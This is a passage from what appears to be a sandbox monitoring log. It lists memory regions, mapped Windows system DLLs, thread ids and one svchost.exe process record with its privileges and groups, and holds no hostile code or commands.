= "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 4879 start_va = 0x2340000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 4880 start_va = 0x2540000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 4881 start_va = 0x25c0000 end_va = 0x288efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4882 start_va = 0x28b0000 end_va = 0x292ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028b0000" filename = "" Region: id = 4883 start_va = 0x3270000 end_va = 0x32effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 4884 start_va = 0x3ba0000 end_va = 0x3c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ba0000" filename = "" Region: id = 4885 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4886 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4887 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4888 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4889 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4890 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4891 start_va = 0xffb10000 end_va = 0xffb23fff monitored = 0 entry_point = 0xffb12ce0 region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 4892 start_va = 0x7fef41e0000 end_va = 0x7fef41ebfff monitored = 0 entry_point = 0x7fef41e602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 4893 start_va = 0x7fef4330000 end_va = 0x7fef433dfff monitored = 0 entry_point = 0x7fef4335d28 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" (normalized: "c:\\windows\\system32\\dimsjob.dll") Region: id = 4894 start_va = 0x7fef6160000 end_va = 0x7fef61d3fff monitored = 0 entry_point = 0x7fef61666f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 4895 start_va = 0x7fef7b90000 end_va = 0x7fef7bcafff monitored = 0 entry_point = 0x7fef7b922f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 4896 start_va = 0x7fef7d90000 end_va = 0x7fef7da7fff monitored = 0 entry_point = 0x7fef7d91630 region_type = mapped_file name = "playsndsrv.dll" filename = "\\Windows\\System32\\PlaySndSrv.dll" (normalized: "c:\\windows\\system32\\playsndsrv.dll") Region: id = 4897 start_va = 0x7fef82c0000 end_va = 0x7fef82fcfff monitored = 0 entry_point = 0x7fef82c1bdc region_type = mapped_file name = "msutb.dll" filename = "\\Windows\\System32\\msutb.dll" (normalized: "c:\\windows\\system32\\msutb.dll") Region: id = 4898 start_va = 0x7fef8300000 end_va = 0x7fef830afff monitored = 0 entry_point = 0x7fef8301290 region_type = mapped_file name = "msctfmonitor.dll" filename = "\\Windows\\System32\\MsCtfMonitor.dll" (normalized: "c:\\windows\\system32\\msctfmonitor.dll") Region: id = 4899 start_va = 0x7fef8400000 end_va = 0x7fef840afff monitored = 0 entry_point = 0x7fef84048d8 region_type = mapped_file name = "hotstartuseragent.dll" filename = "\\Windows\\System32\\HotStartUserAgent.dll" (normalized: "c:\\windows\\system32\\hotstartuseragent.dll") Region: id = 4900 start_va = 0x7fefa950000 end_va = 0x7fefa95afff monitored = 0 entry_point = 0x7fefa954f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 4901 start_va = 0x7fefa960000 end_va = 0x7fefa96bfff monitored = 0 entry_point = 0x7fefa9615d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 4902 start_va = 0x7fefa9e0000 end_va = 0x7fefa9f4fff monitored = 0 entry_point = 0x7fefa9e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 4903 start_va = 0x7fefab10000 end_va = 0x7fefac36fff monitored = 0 entry_point = 0x7fefab110ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4904 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4905 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 4906 start_va = 0x7fefb570000 end_va = 0x7fefb5c5fff monitored = 0 entry_point = 0x7fefb57bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4907 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4908 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4909 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4910 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4911 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4912 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4913 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4914 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4915 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4916 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4917 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4918 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4919 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4920 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4921 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4922 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4923 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4924 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4925 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4926 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4927 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4928 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4929 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 4930 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 4931 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 4932 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4933 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4934 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4935 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4936 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4937 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4938 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4939 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 392 os_tid = 0xdd8 Thread: id = 393 os_tid = 0xc58 Thread: id = 394 os_tid = 0x794 Thread: id = 395 os_tid = 0x774 Thread: id = 396 os_tid = 0x770 Thread: id = 397 os_tid = 0x76c Thread: id = 398 os_tid = 0x4d8 Thread: id = 399 os_tid = 0x4bc Thread: id = 400 os_tid = 0x4b4 Thread: id = 460 os_tid = 0x4f4 Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6f36d000" os_pid = "0x4c8" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:000116f9" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Region: id = 4423 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4424 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 4425 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4426 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4427 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4428 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 4429 start_va = 0x70000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4430 start_va = 0xf0000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4431 start_va = 0x160000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4432 start_va = 0x260000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 4433 start_va = 0x320000 end_va = 0x326fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bfe.dll.mui" filename = "\\Windows\\System32\\en-US\\bfe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bfe.dll.mui") Region: id = 4434 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 4435 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 4436 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4437 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4438 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 4439 start_va = 0x770000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 4440 start_va = 0x7f0000 end_va = 0x80bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 4441 start_va = 0x810000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 4442 start_va = 0x820000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 4443 start_va = 0x8b0000 end_va = 0x8b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4444 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 4445 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 4446 start_va = 0x9b0000 end_va = 0x9b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 4447 start_va = 0xa20000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 4448 start_va = 0xab0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 4449 start_va = 0xb40000 end_va = 0xe0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4450 start_va = 0xe40000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 4451 start_va = 0xf20000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 4452 start_va = 0xfe0000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 4453 start_va = 0x1080000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 4454 start_va = 0x1100000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 4455 start_va = 0x11c0000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 4456 start_va = 0x12c0000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 4457 start_va = 0x1380000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 4458 start_va = 0x1420000 end_va = 0x149ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 4459 start_va = 0x1510000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 4460 start_va = 0x1590000 end_va = 0x168ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 4461 start_va = 0x1690000 end_va = 0x170ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 4462 start_va = 0x1730000 end_va = 0x17affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 4463 start_va = 0x17b0000 end_va = 0x18affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017b0000" filename = "" Region: id = 4464 start_va = 0x18e0000 end_va = 0x195ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 4465 start_va = 0x19c0000 end_va = 0x1a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 4466 start_va = 0x1b00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 4467 start_va = 0x1d20000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 4468 start_va = 0x1e80000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 4469 start_va = 0x2000000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 4470 start_va = 0x2020000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 4471 start_va = 0x2140000 end_va = 0x2340fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 4472 start_va = 0x2350000 end_va = 0x254ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 4473 start_va = 0x2950000 end_va = 0x29cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 4474 start_va = 0x29d0000 end_va = 0x2bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 4475 start_va = 0x2f70000 end_va = 0x336ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 4476 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4477 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4478 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4479 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4480 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4481 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4482 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4483 start_va = 0x7fef40b0000 end_va = 0x7fef40bcfff monitored = 0 entry_point = 0x7fef40b6fb0 region_type = mapped_file name = "wdiasqmmodule.dll" filename = "\\Windows\\System32\\wdiasqmmodule.dll" (normalized: "c:\\windows\\system32\\wdiasqmmodule.dll") Region: id = 4484 start_va = 0x7fef41e0000 end_va = 0x7fef41ebfff monitored = 0 entry_point = 0x7fef41e602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 4485 start_va = 0x7fef41f0000 end_va = 0x7fef420cfff monitored = 0 entry_point = 0x7fef41f1a28 region_type = mapped_file name = "radardt.dll" filename = "\\Windows\\System32\\radardt.dll" (normalized: "c:\\windows\\system32\\radardt.dll") Region: id = 4486 start_va = 0x7fef4320000 end_va = 0x7fef4327fff monitored = 0 entry_point = 0x7fef43222f8 region_type = mapped_file name = "pnpts.dll" filename = "\\Windows\\System32\\pnpts.dll" (normalized: "c:\\windows\\system32\\pnpts.dll") Region: id = 4487 start_va = 0x7fef4340000 end_va = 0x7fef4489fff monitored = 0 entry_point = 0x7fef4341100 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Region: id = 4488 start_va = 0x7fef5150000 end_va = 0x7fef517bfff monitored = 0 entry_point = 0x7fef51556f8 region_type = mapped_file name = "dps.dll" filename = "\\Windows\\System32\\dps.dll" (normalized: "c:\\windows\\system32\\dps.dll") Region: id = 4489 start_va = 0x7fef5e40000 end_va = 0x7fef5e49fff monitored = 0 entry_point = 0x7fef5e43dd4 region_type = mapped_file name = "wfapigp.dll" filename = "\\Windows\\System32\\wfapigp.dll" (normalized: "c:\\windows\\system32\\wfapigp.dll") Region: id = 4490 start_va = 0x7fef6160000 end_va = 0x7fef61d3fff monitored = 0 entry_point = 0x7fef61666f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 4491 start_va = 0x7fef7a30000 end_va = 0x7fef7afdfff monitored = 0 entry_point = 0x7fef7a31e18 region_type = mapped_file name = "mpssvc.dll" filename = "\\Windows\\System32\\MPSSVC.dll" (normalized: "c:\\windows\\system32\\mpssvc.dll") Region: id = 4492 start_va = 0x7fef8780000 end_va = 0x7fef882ffff monitored = 0 entry_point = 0x7fef87928b0 region_type = mapped_file name = "bfe.dll" filename = "\\Windows\\System32\\BFE.DLL" (normalized: "c:\\windows\\system32\\bfe.dll") Region: id = 4493 start_va = 0x7fefa5d0000 end_va = 0x7fefa5e7fff monitored = 0 entry_point = 0x7fefa5d1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 4494 start_va = 0x7fefa5f0000 end_va = 0x7fefa600fff monitored = 0 entry_point = 0x7fefa5f16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 4495 start_va = 0x7fefa700000 end_va = 0x7fefa752fff monitored = 0 entry_point = 0x7fefa702b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 4496 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4497 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4498 start_va = 0x7fefa950000 end_va = 0x7fefa95afff monitored = 0 entry_point = 0x7fefa954f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 4499 start_va = 0x7fefa9e0000 end_va = 0x7fefa9f4fff monitored = 0 entry_point = 0x7fefa9e60d8 region_type = mapped_file name = "nlaapi.dll" filename = 